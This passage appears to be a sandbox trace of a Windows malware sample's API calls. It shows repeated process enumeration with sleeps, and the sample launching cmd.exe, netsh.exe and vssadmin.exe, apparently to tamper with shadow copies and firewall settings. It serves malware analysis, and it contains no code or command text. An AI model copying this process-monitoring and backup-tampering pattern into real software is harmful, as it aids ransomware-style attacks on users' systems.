th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.089] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.089] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0208.090] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.090] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.090] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0208.091] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0208.091] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0208.091] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0208.092] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.092] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0208.093] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0208.093] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0208.093] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0208.094] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0208.094] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0208.094] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0208.095] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0208.095] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0208.096] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0208.096] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0208.096] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.097] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0208.097] CloseHandle (hObject=0x1b4) returned 1 [0208.097] Sleep (dwMilliseconds=0x1f4) [0209.032] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a4 [0209.036] Process32FirstW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.036] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0209.037] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0209.037] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.038] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0209.038] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.042] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0209.042] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0209.043] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0209.043] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0209.043] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.044] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.044] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.045] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.045] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.046] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0209.046] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.047] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.047] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0209.047] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0209.048] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0209.048] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0209.049] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.050] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0209.051] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0209.051] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0209.052] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0209.052] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0209.053] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0209.053] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0209.053] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0209.054] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0209.054] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0209.055] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0209.055] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.056] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0209.056] CloseHandle (hObject=0x1a4) returned 1 [0209.056] Sleep (dwMilliseconds=0x1f4) [0209.959] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a4 [0209.962] Process32FirstW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.962] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0209.963] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0209.963] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.964] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0209.964] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.965] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0209.966] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0209.966] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0209.967] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0209.967] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.968] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.968] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.968] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.969] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.970] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0209.970] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.971] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.971] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0209.972] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0209.972] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0209.973] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0209.973] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.974] Process32NextW (in: hSnapshot=0x1a4, 